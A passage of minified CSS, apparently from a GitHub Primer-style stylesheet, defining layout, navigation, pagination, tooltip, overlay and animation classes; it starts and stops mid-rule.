var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) !important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item .bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav .Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform 